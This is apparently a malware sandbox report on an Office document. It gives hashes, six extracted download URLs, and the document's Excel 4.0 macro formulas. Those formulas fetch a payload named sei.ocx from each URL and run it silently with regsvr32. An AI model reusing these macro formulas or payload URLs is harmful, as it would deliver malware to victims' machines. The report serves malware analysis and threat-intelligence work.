Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
f1baa84e0f742fd8fcd8025f8dc46b981e11a95ff952cf8e3f499ad1f91ab7d3
-
Size
46KB
-
MD5
2acc3ff4d4b261247e6030dfe128bbbd
-
SHA1
2afadf1acc9201c6569592af06e3a524fab647cc
-
SHA256
f1baa84e0f742fd8fcd8025f8dc46b981e11a95ff952cf8e3f499ad1f91ab7d3
-
SHA512
3f3be9680fbc828a6ef68de5879402c9aaeb728b4e6f13ac230f2979342f9c40e6d3d833b101941910b623a9b544fb3d5f44eeefe210e1df106b73fc605197f9
-
SSDEEP
768:QOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:QOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo
Malware Config
Extracted
http://gokcevizyon.com/sBaEb/
http://henrysfreshroast.com/fxNufTnf3ox/
http://sorathlions.com/tmp/z5mkAKCYsVW70w/
http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/
https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/
https://ewestern.com/k/vEQX/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
f1baa84e0f742fd8fcd8025f8dc46b981e11a95ff952cf8e3f499ad1f91ab7d3